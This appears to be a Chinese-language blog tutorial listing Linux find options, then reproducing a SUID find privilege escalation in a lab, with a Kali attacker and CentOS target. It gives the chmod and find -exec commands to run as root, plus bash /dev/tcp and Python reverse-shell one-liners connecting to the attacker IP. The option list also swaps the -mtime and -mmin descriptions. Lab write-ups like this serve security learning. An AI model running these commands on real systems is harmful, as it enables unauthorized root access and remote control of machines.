1、find命令常用的参数
语法:find [path…] [expression]
path为查找路径,.为当前路径,/为根目录
expression即为参数
-name: 按文件名查找文件
-perm: 按照文件权限来查找文件,4000,2000,1000为分别表示SUID,SGID,SBIT,如777为普通文件的最高权限,7000为特殊文件的最高权限
-user: 按照文件属主来查找
-size n: 文件大小是n个单位
-type:
d:目录
f:文件
c:字符设备文件
b:块设备文件
-atime n: time表示日期,时间单位是day,查找系统最后n*24小时内曾被存取过的文件或目录-amin n: 查找系统最后n分钟内曾被存取过的文件或目录
-ctime n: 查找系统中最后n*24小时内曾被改变文件状态(权限、所属组、位置…)的文件或目录
-cmin n: 查找系统中最后N分钟内曾被改变文件状态(权限、所属组、位置…)的文件或目录
-mtime: 查找系统中最后N分钟内曾被更改过的文件或目录
-mmin n: 查找系统中最后n*24小时内曾被更改过的文件或目录
-print: 将匹配的文件输出到标准输出
-exec: find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为’command’ { } ;,注意{ }和\;之间的空格。
具体的使用方法可以自行百度,也可以看一下这篇文章,具体的就不多献丑啦Linux中find命令的7种用法 - 云+社区 - 腾讯云
2、find命令提权复现
2.1、搭建环境
1、VMware虚拟机一台
2、攻击主机:
kali系统
IP:192.168.159.128
3、目标靶机:
CentOS 7系统
IP: 192.168.159.130
2.2、复现提权过程
需要进检查find命令是否有suid权限,有suid权限可进行提权操作
查看find位置
which find
查看find权限
ls -alh /usr/bin/find
查找有suid属性权限的文件
find / -perm -u=s -type f 2>/dev/null
find命令没有suid权限,给find命令赋予suid权限,想了解suid权限的可以参考CSDN
chmod u+s /usr/bin/find
find拥有suid权限位,尝试以find命令执行whoami
find `which find` -exec whoami \;
通过对比发现已经是以root权限执行find命令
# 命令解释: 以find 命令 执行 whoami 命令。
# find (一个路径或文件必须存在) -exec 执行命令 (结束)\;
尝试进行反弹shell
用kali进行监听
# 监听端口6666
nc -lvvnp 6666
靶机开始进行反弹shell
# 用find命令进行反弹shell
find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.159.128/6666 0>&1 \;
# 也可以用python的方式进行反弹shell
find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.159.128",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \;
感觉两个效果一样了,不足的地方各位大佬多多指点,跪谢!